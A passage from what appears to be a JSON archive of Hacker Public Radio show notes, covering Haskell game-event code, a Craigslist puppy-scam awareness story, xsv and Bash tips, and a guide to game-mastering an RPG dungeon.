                                                            Let’s walk through what happens when user has chosen to avoid kragii worms and keep working only part of the fields. First step is to load faction information. If faction couldn’t be found, we abort. Next amount of biological matter consumed and how much is left is calculated. Again, if calculation isn’t possible, we’ll abort. This step reaches into database and updates amount of biological matter stored by the faction (again, possibility to stop early). Final step is to check if kragii leave or not (again, chance of abort).

                                                            \n
                                                            chooseToAvoid :: ( MonadIO m, PersistQueryWrite backend\n                 , BaseBackend backend ~ SqlBackend ) =>\n                 (Key News, KragiiWormsEvent)\n                 -> MaybeT (WriterT [KragiiResults] (ReaderT backend m)) EventRemoval\nchooseToAvoid (_, event) = do\n    faction <- getFaction event\n    (cost, bioLeft) <- calculateNewBio (RawResource 50) (entityVal faction)\n    _ <- destroyCrops faction cost bioLeft\n    removeNews $ PercentileChance 25
                                                            \n

                                                            Loading faction has several step. Id is stored in the event is used to load planet. Planet might or might have an owner faction, depending on if it has been settled. This faction id is used to load faction data. Loading might fail if corresponding record has been removed from database and planet might not be settled at the given time. Any of these cases will result Nothing be returned and whole event resolution being aborted. I’m starting to really like that I don’t have to write separate if statements to take care of these special cases.

                                                            \n
                                                            getFaction :: ( MonadIO m, PersistStoreRead backend\n              , BaseBackend backend ~ SqlBackend ) =>\n              KragiiWormsEvent\n              -> MaybeT (WriterT [KragiiResults] (ReaderT backend m)) (Entity Faction)\ngetFaction event = MaybeT $ do\n    planet <- lift $ get $ kragiiWormsPlanetId event\n    let owner = join $ fmap planetOwnerId planet\n    res <- lift $ mapM getEntity owner\n    return $ join res
                                                            \n

                                                            Amount of biological matter in store is stored in faction information. If it’s zero or less, Nothing is returned as there’s nothing to do really. In other cases, amount of biological matter left is calculated and result returned in form of ( cost, biological matter left ). I’m carrying around the cost, as it’s later needed for reporting how much matter was removed.

                                                            \n
                                                            calculateNewBio :: Monad m =>\n                RawResource Biological -> Faction\n                -> MaybeT (WriterT [KragiiResults] m) ((RawResource Biological), (RawResource Biological))\ncalculateNewBio cost faction = MaybeT $ do\n    let currentBio = factionBiologicals faction\n    return $ if currentBio > 0\n                then Just $ ( cost\n                            , RawResource $ max 0 (currentBio - unRawResource cost))\n                else Nothing
                                                            \n

                                                            destroyCrops updates database with new amount of biological matter in store for the faction and records amount of destruction in CropsDestroyed. tell requires that we have Writer at our disposal and makes recording information nice and easy.

                                                            \n
                                                            destroyCrops :: ( MonadIO m, PersistQueryWrite backend, BaseBackend backend ~ SqlBackend ) =>\n                Entity Faction -> RawResource Biological\n                -> RawResource Biological -> MaybeT (WriterT [KragiiResults] (ReaderT backend m)) ()\ndestroyCrops faction cost bioLeft = MaybeT $ do\n    _ <- lift $ updateWhere [ FactionId ==. entityKey faction ]\n                            [ FactionBiologicals =. unRawResource bioLeft ]\n    tell [ CropsDestroyed cost ]\n    return $ Just ()
                                                            \n

                                                            Final step is to roll a percentile die against given odds and see what happens. In case of Success, we record that worms were removed and value of function will be Just RemoveOriginalEvent. If we didn’t beat the odds, WormsStillPresent gets recorded and value of function is Just KeepOriginalEvent. Return value will then be used later to mark special event handled.

                                                            \n
                                                            removeNews :: ( PersistStoreWrite backend, MonadIO m, BaseBackend backend ~ SqlBackend ) =>\n              PercentileChance -> MaybeT (WriterT [KragiiResults] (ReaderT backend m)) EventRemoval\nremoveNews odds = MaybeT $ do\nres <- liftIO $ roll odds\n    case res of\n        Success -> do\n            _ <- tell [ WormsRemoved ]\n            return $ Just RemoveOriginalEvent\n        Failure -> do\n            _ <- tell [ WormsStillPresent ]\n            return $ Just KeepOriginalEvent
                                                            \n

                                                            So result of this whole matter is:

                                                            \n
                                                            ( [KragiiResults], Maybe EventRemoval )
                                                            \n

                                                            and whole lot of database activity.

                                                            \n

                                                            Handling events during simulation

                                                            \n

                                                            Pieces are now in place, time to put things in motion. When handling special events for a faction, first step is to load all unhandled ones and then call handleSpecialEvent for each of them.

                                                            \n
                                                            handleFactionEvents :: (BaseBackend backend ~ SqlBackend\n                       , PersistStoreWrite backend, PersistQueryRead backend\n                       , PersistQueryWrite backend, MonadIO m) =>\n                       Time -> Entity Faction -> ReaderT backend m [Key News]\nhandleFactionEvents date faction = do\n    loadedMessages <- selectList [ NewsFactionId ==. (entityKey faction)\n                                 , NewsSpecialEvent ==. UnhandledSpecialEvent ] [ Desc NewsDate ]\n    let specials = mapMaybe extractSpecialNews $ parseNewsEntities loadedMessages\n    mapM (handleSpecialEvent (entityKey faction) date) specials
                                                            \n

                                                            resolveEvent resolves event based on choice user maybe made (this is what we explored earlier in the episode). Depending on the result of resolveEvent, event gets marked to handled and dismissed. In any case, a news article spelling out what happend is created and saved.

                                                            \n
                                                            handleSpecialEvent :: (PersistQueryWrite backend, MonadIO m\n                      , BaseBackend backend ~ SqlBackend) =>\n                      Key Faction -> Time -> (Key News, SpecialNews) -> ReaderT backend m (Key News)\nhandleSpecialEvent fId date (nId, (KragiiWorms event _ choice)) = do\n    (removal, results) <- resolveEvent (nId, event) choice\n    _ <- when (removal /= Just KeepOriginalEvent) $\n                    updateWhere [ NewsId ==. nId ]\n                                [ NewsSpecialEvent =. HandledSpecialEvent\n                                , NewsDismissed =. True ]\n    insert $ report fId date event choice results
                                                            \n

                                                            Result article creation is abstracted by ResultReport type class. It has single function report that takes parameters: database key of the faction the event concerns of, current time, special event that was processed, choice that was made and list of records telling what happened during resolution. It will return News that is ready to be saved into database.

                                                            \n
                                                            class ResultsReport a b c | a -> b, a -> c where\nreport :: Key Faction -> Time -> a -> Maybe b -> [c] -> News
                                                            \n
                                                              \n
                                                            • quite long and verbose instance
                                                            • \n
                                                            • essentially take event, choice and results and build a string explaining what actually happened
                                                            • \n
                                                            • <> is monoid operation for combining things, here used for text
                                                            • \n
                                                            \n

                                                            Instance declaration is pretty long, because there’s many different cases to account for and by definition they’re all pretty verbose. I have included it in its entirity below, as it might be interesting to glance over and see different kinds of combinations that resolution might create.

                                                            \n
                                                            instance ResultsReport KragiiWormsEvent KragiiWormsChoice KragiiResults where\n    report fId date event choice results =\n        let\n            content = KragiiNews { kragiiNewsPlanetId = kragiiWormsPlanetId event\n                                 , kragiiNewsPlanetName = kragiiWormsPlanetName event\n                                 , kragiiNewsSystemId = kragiiWormsSystemId event\n                                 , kragiiNewsSystemName = kragiiWormsSystemName event\n                                 , kragiiNewsExplanation = repText\n                                 , kragiiNewsDate = timeCurrentTime date\n                                 }\n        in\n            mkNews fId date $ KragiiResolution content\n        where\n            repText = header choice <> " " <> removed choice (WormsRemoved `elem` results) <> " " <> injury <> " " <> destruction <> " "\n\n            header (Just EvadeWorms) = "Local farmers had chosen to work on their fields, while avoiding the kragii worms."\n            header (Just AttackWorms) = "Local farmers had decided to attack the worms with chemicals and burning."\n            header (Just TameWorms) = "Decision to try and tame the kragii had been taken."\n            header Nothing = "No decision what to do about worms had been taken."\n\n            removed (Just EvadeWorms) True = "After some time, there has been no new kragii sightings and it seems that the threat is now over."\n            removed (Just AttackWorms) True = "Attacks seem to have worked and there has been no new kragii sightings."\n            removed (Just TameWorms) True = "Kragii has been tamed and put into use of improving soil quality."\n            removed Nothing True = "Despite farmers doing nothing at all about the situation, kragii worms disappeared eventually."\n            removed (Just EvadeWorms) False = "Kragii are still present on the planet and hamper farming operations considerability."\n            removed (Just AttackWorms) False = "Despite the best efforts of farmers, kragii threat is still present."\n            removed (Just TameWorms) False = "Taming of the worms was much harder than anticipated and they remain wild."\n            removed Nothing False = "While farmers were debating best course of action, kragii reigned free and destroyed crops."\n\n            injury = if FarmersInjured `elem` results\n                        then "Some of the personnel involved in the event were seriously injured."\n                        else "There are no known reports of personnel injuries."\n\n            totalDestroyed = mconcat $ map (x -> case x of\n                                                    CropsDestroyed n -> n\n                                                    _ -> mempty) results\n            destruction = if totalDestroyed > RawResource 0\n                            then "In the end, " <> pack (show (unRawResource totalDestroyed)) <> " units of harvest was destroyed."\n                            else "Despite of all this, no harvest was destroyed."
                                                            \n

                                                            While there are still pieces left that need a bit work or are completely missing, the overall structure is in place. While this one took quite a bit of work to get working, I’m hoping that the next special event will be a lot easier to implement. Thanks for listening the episode.

                                                            \n

                                                            Easiest way to catch me nowdays is either via email or on fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, yesod","version":0,"downloads":0,"valid":1}, {"id":2749,"date":"2019-02-14","title":"Lostnbronx and Klaatu commentary from episode 2743","duration":890,"summary":"Thoughts about RPG character building, modern RPG play style compared to the Old School, and more","notes":"

                                                            \nOut-takes from episode 2743. This is commentary about modern RPG play style, the character build process, Starfinder as a system, and more.\n

                                                            \n

                                                            \nDid you know that Lostnbronx and Klaatu have a gaming blog? We do! You should go subscribe to it at mixedsignals.ml

                                                            \n\n

                                                            The blog features commentary about gaming, tech, geek culture, a podcast or two, and lots more.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"rpg, game, gaming","version":0,"downloads":0,"valid":1}, {"id":2750,"date":"2019-02-15","title":"Windmill is on the Fritz","duration":270,"summary":"Using Fritzing to help reverse engineer a circuit in a winter model village windmill","notes":"

                                                            \nIn this episode Ken uses Fritzing tool to keep track of how a winter model village windmill is wired together. Leading to identifying the problem component.\n

                                                            \n

                                                            \n\n

                                                            \nFritzing is an open-source initiative to develop amateur or hobby CAD software for the design of electronics hardware, to support designers and artists ready to move from experimenting with a prototype to building a more permanent circuit. It was developed at the University of Applied Sciences of Potsdam.\n
                                                            \nFrom https://en.wikipedia.org/wiki/Fritzing

                                                            \n","hostid":30,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Fritzing, Reverse Engineering, LED","version":0,"downloads":0,"valid":1}, {"id":2751,"date":"2019-02-18","title":"Battling with English - part 3","duration":822,"summary":"Misunderstandings about English grammar, spelling, punctuation, etc.","notes":"

                                                            Battling with English - part 3

                                                            \n

                                                            Some word confusions

                                                            \n

                                                            In this episode, the third of this series, I’m looking at some words that are sometimes used in the wrong places, often being confused one with another. These words are often particularly difficult to differentiate by people for whom English is not their first language.

                                                            \n

                                                            Long notes

                                                            \n

                                                            As usual I have provided detailed notes and examples for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":120,"explicit":1,"license":"CC-BY-SA","tags":"grammar,spelling,punctuation,word misuse,English","version":0,"downloads":0,"valid":1}, {"id":2752,"date":"2019-02-19","title":"XSV for fast CSV manipulations - Part 2","duration":1359,"summary":"Part 2 of my introduction to the XSV tool","notes":"

                                                            XSV for fast CSV manipulations - Part 1: Basic Usage

                                                            \n
                                                            \n

                                                            https://github.com/BurntSushi/xsv

                                                            \n
                                                            \n

                                                            Introduction

                                                            \n

                                                            xsv is a command line program for indexing, slicing, analyzing, splitting and joining CSV files. Commands should be simple, fast and composable:

                                                            \n
                                                              \n
                                                            1. Simple tasks should be easy.
                                                            2. \n
                                                            3. Performance trade offs should be exposed in the CLI interface.
                                                            4. \n
                                                            5. Composition should not come at the expense of performance.
                                                            6. \n
                                                            \n

                                                            We will be using the CSV file provided in the documentation.

                                                            \n

                                                            Commands covered in this episode

                                                            \n
                                                              \n
                                                            • fixedlengths - Force a CSV file to have same-length records by either padding or truncating them.
                                                            • \n
                                                            • fmt - Reformat CSV data with different delimiters, record terminators or quoting rules. (Supports ASCII delimited data.)
                                                            • \n
                                                            • input - Read CSV data with exotic quoting/escaping rules.
                                                            • \n
                                                            • partition - Partition CSV data based on a column value.
                                                            • \n
                                                            • split - Split one CSV file into many CSV files of N chunks.
                                                            • \n
                                                            • sample - Randomly draw rows from CSV data using reservoir sampling (i.e., use memory proportional to the size of the sample).
                                                            • \n
                                                            • cat - Concatenate CSV files by row or by column.
                                                            • \n
                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"xsv,csv,command-line,data","version":0,"downloads":0,"valid":1}, {"id":2753,"date":"2019-02-20","title":"Specific Settings In Storytelling","duration":1027,"summary":"Lostnbronx looks at why you might choose specific settings for your tales.","notes":"

                                                            How does setting interact with plot or character? Why would you choose one type of setting over another? And how do certain specific settings become intrinsic aspects of the story itself?

                                                            \n

                                                            Lostnbronx takes a breezy, mostly incoherent stab at this rather complicated topic.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories, storytelling, setting, lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2754,"date":"2019-02-21","title":"Craigslist Scam Catch","duration":460,"summary":"Helped a client avoid being scammed on Craigslist and wanted to share some tips to HPR.","notes":"

                                                            Introduction

                                                            \n

                                                            Hello and welcome to Hacker Public Radio, I’m Edward Miro and for this episode I decided to record on a personal experience I had recently helping a client catch a Craigslist Scam. This will be part two in my series I’m calling “Information Security for Everyone”. As with most of the content I publish in the world of INFOSEC, my goal is to present the information in a way that a majority of people can get value from and anyone can play this for a friend, colleague or family member and make it easy for the non-hackers in our lives to understand. This particular episode shows a powerful way social-engineering can be implemented to steal money from unsuspecting victims and I will break down a few main points and red flags to look out for at the end.

                                                            \n

                                                            A couple weeks ago I was sitting with a client when she asked me offhandedly if I’d ever sent a Moneygram before. I told her I had and ask curiously why she wanted to know. She explained that she was very excited to be adopting a puppy from online and she needed to send $350 USD to the service that ships pets across the country. This immediately caused my hacker-sense to start tingling so I probed a bit more about the transaction.

                                                            \n

                                                            I asked if she had spoken to the seller on the phone, and she said she hadn’t. I said that seemed weird, but she assured me that the seller said it had to do with her religion. I wasn’t aware of any religious prohibitions to speaking on the phone that also allowed using Craigslist, but okay. I told her that that seemed a bit fishy to me. She asserted that she thought it did too at first, but she knew it was legit because she wasn’t sending the money to the seller, it was being sent to a third party pet transportation company that the seller had had contact her. She even showed the website of the company on her cell phone, which to be blunt, to my eyes looked extremely janky. I asked her if we could sit down for a few minutes and take a look at a few details before she sends anyone any money. She reluctantly agreed and really wanted this puppy.

                                                            \n

                                                            The first thing I asked to look at was the emails back and forth from the seller. I checked Google and all other major social media sites for the sellers name. No matches. Couldn’t Google the sellers email address due to the Craigslist email relay system. This in and of itself might be okay, we all use pseudonyms online sometimes and Craigslist is a site you might not wanna use your real name. Fine.

                                                            \n

                                                            She then showed me the email thread with the shipping company.

                                                            \n

                                                            The first strange thing I noticed from the emails was the link to the pet shipping company. The name didn’t match the URL in the link. You’d think a business would be able to get their own name right. I also saw that if you Googled the name given by the shipper, it’s extremely similar to a legitimate pet shipping company and indeed that legit company comes up as the first site found due to Google “fixing” our query. When you go to the link in the email however, the site itself was terrible to my eyes, but not to my client who is not as seasoned as I am at catching scams. I also showed her that the “company” didn’t have any social media presence. At all. No Facebook, Twitter, anything. Also the email address that was contacting her was reallylongcompanyname@outlook.com

                                                            \n

                                                            She also told me she had spoken to the shippers on the phone and I asked if she still had their number. She did, but she told me she couldn’t ever get through when she called them and they’d always have to call her back. I asked for the number and called it on my phone. It was a Google Voice number! Not only that it was set to screening mode. She also told me when he did call her, he was rude and tried to get her to hurry up and send the money. I told her I was 100% confident this was a scam and I advised her to not go through with the deal.

                                                            \n

                                                            At this point she was extremely unhappy, but felt it was still a legitimate transaction because she had pictures sent to her of not only the puppy, but of the puppy in the shipping crate at the shipping company waiting for payment to be shipped. She explained that it’s not like it was a person trying to sell dogs or from a puppy mill. It was a lady giving it away for free and the money was for was the shipping. She just didn’t see why a scammer would go to the trouble of doing that and felt the pictures were authentic. I asked her to save all the images to her device and then showed her a site she could use to do reverse image searches. Before she did it, I asked her if she agreed that if this wasn’t a scam those pictures wouldn’t exist anywhere on the internet. She agreed and each of the pictures was found at least 9 other places online. Her heart sank and she didn’t have any further rebuttals to my concerns. She knew it was a scam and I just saved her from losing at least $350 USD. Not to mention that the scammer would have also asked for more money later for “shots” and “insurance”. Who knows how far they might have gotten.

                                                            \n

                                                            So here are the main red flags:

                                                            \n
                                                              \n
                                                            • Seller wouldn’t talk on phone
                                                            • \n
                                                            • Seller name didn’t seem legitimate
                                                            • \n
                                                            • Name of shipping company didn’t match URL in email
                                                            • \n
                                                            • Googling company name shows close match with legitimate company
                                                            • \n
                                                            • Company website very poorly designed and implemented
                                                            • \n
                                                            • Company has no social media presence
                                                            • \n
                                                            • Email address of contact at company using generic email address and not a legit domain
                                                            • \n
                                                            • Contact at company could only call her and she was never able to make inbound calls
                                                            • \n
                                                            • Phone number of company was Google Voice number
                                                            • \n
                                                            • Reverse image searches showed “proof” photos unoriginal
                                                            • \n
                                                            \n

                                                            A few of the tricks used by the scammers in this scam to make it more successful:

                                                            \n
                                                              \n
                                                            • Listed as adoption versus a sale to alleviate concern
                                                            • \n
                                                            • Handed off to “second party” to build legitimacy
                                                            • \n
                                                            • Use cute puppy pictures to appeal to emotion and overrule suspicion
                                                            • \n
                                                            • Counted on target not paying attention to detail
                                                            • \n
                                                            • Shipper established a sense of urgency
                                                            • \n
                                                            \n

                                                            She was very thankful and I told her to be very careful when anyone from online ever asks her to send money. I told her in all likelihood this was probably one person the whole time, hence why the person adopting out the dog “couldn’t talk on the phone”. They were also probably not even in this country as we know many of these scams aren’t. She did say that the shippers English wasn’t good. I also told her to make she shares this experience with all her friends and family. I always feel the best way to handle someone getting caught in a scam is to be on their side and never shame them. We are all susceptible to scams and social engineering and the best way to proceed is to empower them to share what they’ve learned. I also sent her a link to an article on the BBB site about these very types of scams that I’ll also link below. She was shocked how similar her experience was to the ones explained on the article.

                                                            \n

                                                            Well, thank you for taking the time to listen to my experience helping a client avoid getting caught in the all too common Craigslist scam. I hope this will help any non-hackers in your life and like I say in all my podcasts, I don’t claim to know all there is to know and love feedback and any opportunities to learn more or collaborate with others in the field. As with most of the research and articles I’ve written in the past, these are geared toward standard users in a business setting and are meant to be a jumping off point for further research and to be a foundation for cyber security 101 level training classes. If you like what I do, and want to have me come speak to your team, or just wanna chat, feel free to email me.

                                                            \n

                                                            Thank you and have a great day!

                                                            \n

                                                            Links:

                                                            \n

                                                            https://www.bbb.org/article/investigations/14214-puppy-scams-how-fake-online-pet-sellers-steal-from-unsuspecting-pet-buyers-a-bbb-study

                                                            \n

                                                            https://www.rover.com/blog/internet-dog-puppy-scams/

                                                            \n","hostid":372,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"craigslist,scam,con,social engineering,puppy,dog,money,moneygram,infosec,cyber-security 101","version":0,"downloads":0,"valid":1}, {"id":2755,"date":"2019-02-22","title":"My YouTube Subscriptions #2","duration":1329,"summary":"Part two of my list of subscribed channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I am sharing them with you

                                                            \n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":2756,"date":"2019-02-25","title":"Bash Tips - 20","duration":1955,"summary":"Deleting arrays; positional and special parameters in Bash","notes":"

                                                            Tidying loose ends (Some collateral Bash tips)

                                                            \n

                                                            Deleting arrays

                                                            \n

                                                            I forgot to cover one thing on my list when doing the last show: I forgot to explain how to delete arrays and array elements. I’ll cover that topic in this episode.

                                                            \n

                                                            Positional and Special parameters

                                                            \n

                                                            I have also avoided talking much about the positional and special parameters in Bash: '$1', '$2', '$#' and the rest. I will cover (some of) these in this episode.

                                                            \n

                                                            Silly titles

                                                            \n

                                                            I stopped doing the weird episode titles by episode 14 because I thought the joke was getting tired. However, I think a few people missed them (and a certain HPR colleague was found vandalising my new titles as they were being posted ;-), so I have added them inside the notes on the older shows and am adding one here – as a homage to silliness.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,array,delete,positional parameters","version":0,"downloads":0,"valid":1}, {"id":2757,"date":"2019-02-26","title":"How to DM","duration":2694,"summary":"Klaatu explains how to DM an RPG, and Lostnbronx demonstrates, step by step, how to build a dungeon","notes":"

                                                            Klaatu

                                                            \n

                                                            \nI've gotten a lot of great feedback on the Interface Zero play-through and the episode about getting started with RPGs I did with Lostnbronx.\nPeople have told me that one of the biggest blockers to getting started is knowing what to do as GM.

                                                            \nNow, I've read lots of rulebooks and GM guides, and it seems to me that most of them assume you've either played an RPG before, and so you've seen an example of a Game Master at play, or you've seen one on Youtube or Twitch. It's a safe assumption, but it's easy to forget all of those great examples under pressure.\nSo in this episode, Lostnbronx and I are going to provide you with some clear and direct instructions on what exactly a GM does.\n

                                                            \nThe short version is this:

                                                            \n
                                                            1. \nTell the players where they are and what they see around them.\n

                                                            2. \nListen to the players when they tell you what they want to do.\n

                                                            3. \nTell the players the outcome, based on your privileged knowledge of the game world or on a roll of the dice, of their actions.\n

                                                            \n

                                                            \nYou loop over that sequence, and you're game mastering!\n

                                                            \nBut that makes for a short episode, and anyway, there are details about the process that we can talk about to make you feel more comfortable with the prospect of deciphering a game world with your friends.\n

                                                            \nTo that end, Lostnbronx and I have started a website dedicated to gaming! You should check it out, subscribe to our feed. We discuss everything game-related there, plus a little tech and all manner of topics of interest to geeks.\n

                                                            \n\n

                                                            Lostnbronx

                                                            \n

                                                            \nRight off the bat, it's important to understand that every GM is different. No two styles of running a game match completely, nor should they. And while there's no one correct way to run a game, there are plenty of ways to do it poorly. The GM wears many hats, but in my opinion, the most important job is to make sure that everyone has a good time. Your players are giving you an evening out of their lives. Next week they'll probably give you another. It's your job to make sure that time isn't wasted.\n

                                                            \nBy definition, games, even role-playing games, are a form of entertainment -- like reading a book, watching a movie, or enjoying the circus. When you go to that, the GM is the ringmaster, presenting the show; while the players are both the audience, and the main attraction. The GM controls the world, the people, the monsters, the history, even the weather. The GM controls everything, in fact...except for the player characters. A game master presents the situation, but it's the players who decide what to do with that information.\n

                                                            \nNow, this is all pretty vague, and describing RPG's is far less informative than playing them. Considering this is a podcast, I encourage you to go back and listen to Klaatu's aforementioned \"Interface Zero\" episodes. These are excellent examples of actual game play. If you're having a hard time imagining how RPG's are presented and experienced, you'll appreciate those shows.\n

                                                            \nNow then, almost all games are divided into genre types: sword and sorcery; space opera; spies; super-heroes; and pretty much everything else. And I mean everything! If there's a genre of fiction and storytelling that you enjoy, chances are there's a game or game setting for it somewhere. The most popular style of RPG's out there are fantasy. Think \"Lord of the Rings\". Think \"Harry Potter\". Think of anything, in fact, because all of it is possible.\n

                                                            \nA staple of the high fantasy genre of gaming is the dungeon. Now, that term has two meanings in this sort of game: first, the usual meaning, of what amounts to the basement of a castle, with jails, interrogation rooms, storage rooms, and more. The other meaning refers specifically to a type of adventuring environment. Both of these are usually found underground, but an adventuring dungeon may have nothing to do with any castle. It might be a lost crypt, a cave system, an abandoned gold mine, or the lair of some dreaded beast that's been terrorizing the countryside. In the dungeon might be enemies, monsters, and treasure protected by deadly traps. Magic abounds. There might be puzzles, dark secrets, or a kidnapped prince to rescue.\n

                                                            \nAs a new GM, you can start off any way you want, but in my experience, the best way to get used to how the game works, and how the whole process of providing an evening's entertainment to your friends or family works in this context, is to create a dungeon and run your players through it.\n

                                                            \nDungeons generally require set-up time; that is to say, you have to design it in advance. Now, Klaatu and I are currently working on ways to ease that burden, with the ultimate goal of eliminating the pre-work entirely. But for now, let's talk about the traditional way to approach all this. What follows is a step-by-step process, but understand, it's only one of an infinite possible number of them.\n

                                                            \nSTEP 01 -- CREATE THE COUNTRYSIDE\nSome GM's say creating the world is the first step. Some say creating the godly pantheons of the world is the first. Some say it's the history, or the fantasy races. They're not wrong, but trust me, when you're just starting out, none of that stuff matters. In this example, you'll be running the players through a dungeon. That dungeon is out in the country, within the middle of a large forest.\n

                                                            \nNow, it will make the beginning and end of the adventure easier if you have a small village nearby where the player characters all live. We'll call it Forestdale for the lack of anything better. In Forestdale, there's an inn or tavern. This is where people get together, tell tall tales, and become inspired to go adventuring, so let's give it a name as well: \"The Prancing Unicorn\". That's home base. Every player character knows this place, and everyone in it knows them.\n

                                                            \nOne of the stories being swapped at \"The Unicorn\" lately is about a tribe of dangerous creatures living in an underground lair somewhere within the forest. They are led by an evil wizard, or so the tales go. They have been attacking farmers and merchants who travel through the roads and foot paths of the woods in order to sell their goods in Forestdale. One of the merchants says he saw them travel down the Western path near the Old Bridge. Something must be done, but who would be brave or foolhardy enough to even try?\n

                                                            \nAnd that's all you need to create for the world right now. Remember, this stuff is new; no one needs large amounts of detail just yet, least of all you. You'll have enough to juggle.\n

                                                            \n\n\nSTEP 02 -- CREATE THE DUNGEON FLOOR PLAN\nOne of the rumors to be heard at \"The Prancing Unicorn\" is that there's an underground cave system or labyrinth somewhere in the forest. Some say it's a myth, others say their cousin's uncle's sister's best friend came across it once. Either way, its existence is shrouded in mystery, and people are said to go in, but not always come out.\n

                                                            \nThis is your first dungeon. You don't want to do more work than you need to. Let's make this dungeon a single level. Later, you can add a secret panel somewhere that can reveal a set of stairs down to a second level (and from there, a third, fourth, tenth, or more). Right now, it's one level, hidden below the forest. It's dark, it's dangerous. It's plenty.\n

                                                            \nPutting a dungeon together can be difficult, but it doesn't have to be. The traditional way to create one of these is to use graph or hex paper and draw out the floor map. Each square of the graph paper is equal to ten feet, or, say, three meters. You make note of all rooms, caves, doors, hallways, stairs up or down, floor traps, hidden doors, and anything else you want in there. Be sure to put a set of stone stairs that lead from the forest above, down to this dank and gloomy dungeon.\n

                                                            \nThere are no standard symbols for the different things on the map, despite what anyone might tell you, but for now, let's turn the paper landscape style, and at the top of the page, now held that way, outline one square of the graph paper with a pencil. Inside the square, draw three or four small lines at an angle. This will represent a set of stairs. Next to the stairs, write the letter \"U\". This is the way to get to the forest above. Granted, it's how the player characters will come down here to begin with, but once they are here, they have to go up to leave, hence the \"U\". If that's confusing, you can write, \"To The Forest Above\", next to this square, maybe with a little arrow. You can write anything you want, but this is how the player characters will get in and out of your dungeon.\n

                                                            \n\n

                                                            \nWe're going to draw the floor plan from the top of the page down. The entire dungeon map will be on this one side of the paper. In the corner, draw an arrow pointing up, and put a letter \"N\" there. That's North. We'll be using compass directions from now on. Granted that when underground, it's hard to get your bearings without a compass, but for this first dungeon, we won't worry about that. North, South, East, West. It makes life easy.\n

                                                            \nOn the bottom of the page, to the South, draw a box in the middle of the page that's ten by ten squares in size. This is where the dungeon tunnels all will be leading, and where we'll have the biggest fight of the adventure. We're setting that up now, so we always know where we're heading. Now go back to the stairs at the top of the page.\n

                                                            \nDraw a long line from the lower edge of the stairs going West. Stop the line a square or two from the edge of the paper. Now do the same thing going East. Next, move down one square, and draw another line parallel to both of these, going entirely from one side of the page to the other, East to West. You've just created a place for the players to explore, so imagine it for a moment: they come down some broken, forgotten stairs. Let's say they travel at least a hundred feet down, tripping over tree roots and walking through cobwebs, until the stairs deposit them in the middle of a dark tunnel, ten feet wide. It stretches to either side, running East and West out of sight (you know that it goes hundreds of feet in both directions, but you'll let them discover that for themselves). They listen, and can hear nothing but the scurrying of unseen vermin. At least, they hope that's what it is. Not a bad start.\n

                                                            \n\n

                                                            \nAlong this hallway, you'll draw little rectangles, like black bars, on random squares along the Southern side of the tunnel. Not too many, just a few here and there, with generous space in between. These are heavy wooden doors. Some may be locked. That's your choice. If they are, put a little symbol near them. It could be as simple as the letter \"L\", so let's go with that. Now you know where the all doors are in this particular tunnel, and you know which of them will be a challenge for the player characters to open.\n

                                                            \nThis is just the first tunnel of a larger complex. This complex can be as big or as small as you'd like. Let's say it's moderately sized. Before we draw more tunnels, let's draw the rooms behind those doors. This will tell us how much map space we'll have for further tunnels. Some GM's like to draw all the tunnels first, and then fit in the rooms. You can do it however way you want later on; right now, let's just use this method. Pick a door. Draw a box behind it, three or four squares in size. That's the room. Do the same behind the other doors. Make the rooms different shapes and sizes, but not too big. Let the big room at the bottom be the star. When you're done, you have a huge tunnel, with several mysterious doors, behind which are some good-sized rooms.\n

                                                            \nOn the part of the tunnel that ends on the West side, draw a connecting tunnel South for five squares, and then turn the direction back to the East. Draw this tunnel going that way for ten squares. Put a door or two along here, and draw some rooms for them. Turn the tunnel South again, and go five or six squares, and turn it East again for four squares. Draw a door and room. Maybe it's locked, maybe not. Continue with this meandering, jagged floor plan, wandering East and then West, but always moving South. Add occasional doors and rooms as you go, until your tunnel finally ends on the Western side of the large ten by ten square room at the bottom of the page. Draw a door to get in there.\n

                                                            \n\n

                                                            \nNow go back up to the long tunnel at the top, and repeat this whole process on the Eastern side, eventually bringing that part of the tunnel to the Eastern edge of the big room at the bottom. Put a door there.\n

                                                            \n\n

                                                            \nNow, number your rooms on the map, starting at at the top, and working your way down, until you've marked each one. Room numbers are essential, because you'll be keeping track of each one.\n

                                                            \n\n

                                                            \nThe floor plan to your first dungeon is complete. Now you need to put interesting things in it.\n

                                                            \n\nSTEP 03 -- POPULATE YOUR DUNGEON\nOkay, on a separate piece of paper, list the rooms of your dungeon. Start at #1, and go down. Beside the room number, you put in a brief description, along with any monsters, treasure, or other points of interest. You'll be consulting this list throughout the game, so write down everything you need to know, in order to minimize the amount of time you'll inevitably have your nose in the rulebook while playing. Monster statistics, including their weapons, and and the damage they do, should all be on this list, though there are ways to simplify the process, once of which I'll go into in a moment.\n

                                                            \n\n

                                                            \nWhen putting creatures and things into your dungeon, the first thing to remember is to not overload it. Each room does not need a monster. Not every room needs treasure. It might be helpful to think in terms of what you'd like to see in the dungeon as a whole. Remember the stories of evil creatures, and possibly a wizard, which you heard at \"The Dancing Unicorn\"? We'll use that as our springboard. This is a starting dungeon, not just for you, but also for the player characters. Starting dungeons mean low-level monsters, so let's go with goblins.\n

